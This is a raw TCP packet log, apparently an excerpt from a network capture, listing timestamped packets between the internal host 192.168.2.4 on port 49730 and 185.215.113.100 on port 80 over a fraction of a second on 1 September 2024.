Sep 1, 2024 01:22:11.840204954 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840214968 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840226889 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840248108 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840277910 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840317011 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840327024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840337992 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840348005 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840356112 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840358973 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840368986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840373039 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840380907 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840390921 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840400934 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840406895 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840428114 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840441942 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840502024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840512037 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840521097 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840531111 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840539932 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840547085 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840552092 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840564966 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840576887 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840576887 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840588093 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840596914 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840599060 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840605974 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840609074 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840615034 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840637922 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840640068 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840668917 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840672016 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840684891 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840697050 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840698957 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840706110 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840717077 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840718031 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840725899 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840727091 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840735912 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840747118 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840754032 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840759039 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840764046 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840778112 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840778112 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840794086 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840795994 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840804100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840809107 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840814114 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840822935 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840831041 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840840101 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840847015 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840857983 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840867996 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840872049 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840878963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840890884 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840895891 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840907097 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840908051 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840915918 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840924978 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840934992 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840961933 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840965033 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840976000 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840986013 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840995073 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841005087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841010094 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841027975 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841053963 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841072083 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841082096 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841090918 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841100931 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841110945 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841119051 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841123104 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841136932 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841152906 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841156006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841165066 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841176033 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841176987 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841186047 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841196060 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841201067 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841212988 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841213942 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841223001 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841233969 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841237068 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841244936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841254950 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841262102 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841264963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841270924 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841289043 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841299057 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841305017 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841310024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841331005 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841350079 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841373920 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841391087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841401100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841409922 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841411114 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841419935 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841437101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841437101 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841448069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841456890 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841464043 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841469049 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841479063 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841481924 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841489077 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841500044 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841528893 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841607094 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841650963 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841722965 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841732025 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841748953 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841758966 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841768980 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841770887 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841780901 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841790915 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841798067 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841814995 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841829062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841833115 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841872931 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841892004 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841902018 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841912031 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.841936111 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.841962099 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.842022896 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842039108 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842048883 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842056036 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842061996 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842067003 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.842072964 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842082977 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842083931 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.842089891 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842096090 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842111111 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842111111 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.842120886 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842130899 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842139959 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.842168093 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.842561960 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842608929 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.842642069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842653990 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842663050 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842673063 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842684031 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842684984 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.842694998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842715025 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.842715025 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.842732906 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.842756033 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.926525116 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926589012 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.926698923 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926708937 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926718950 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926727057 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926737070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926739931 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.926747084 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926764011 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926780939 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926784992 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.926791906 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926805019 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.926808119 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926819086 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926829100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926832914 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.926839113 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926851034 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926858902 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.926862001 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926871061 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926877975 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.926882982 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926897049 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926898003 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.926914930 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.926943064 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.926956892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926966906 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926976919 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926986933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.926995993 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927002907 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927015066 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927016973 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927026033 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927045107 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927071095 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927092075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927102089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927112103 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927122116 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927133083 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927133083 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927146912 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927158117 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927160978 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927187920 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927191019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927201986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927208900 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927212000 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927222967 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927232027 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927233934 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927243948 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927251101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927263021 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927273035 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927273989 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927283049 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927288055 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927294016 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927314997 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927320957 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927325010 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927335978 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927345991 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927345991 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927359104 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927371025 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927378893 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927401066 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927418947 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927453995 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927463055 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927469015 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927476883 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927488089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927499056 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927500010 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927510977 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927521944 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927525997 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927531958 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927541971 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927544117 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927570105 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927598000 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927598953 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927608013 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927623987 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927635908 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927638054 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927645922 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927655935 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927658081 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927669048 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927674055 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927679062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927689075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927699089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927702904 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927716017 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927721024 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927726984 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927736998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927746058 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927766085 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927772999 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927783966 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927793980 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927804947 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927804947 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927814960 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927825928 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927834034 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927836895 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927848101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927853107 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927875042 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927895069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927895069 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927906036 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927915096 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927926064 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927934885 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927938938 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927947998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.927953959 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.927983999 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.928026915 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928036928 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928041935 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928069115 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.928095102 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.928134918 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928144932 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928153992 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928164005 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928173065 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928193092 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.928210974 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928221941 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928226948 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.928234100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928245068 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928256035 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.928273916 CEST	49730	80	192.168.2.4	185.215.113.100
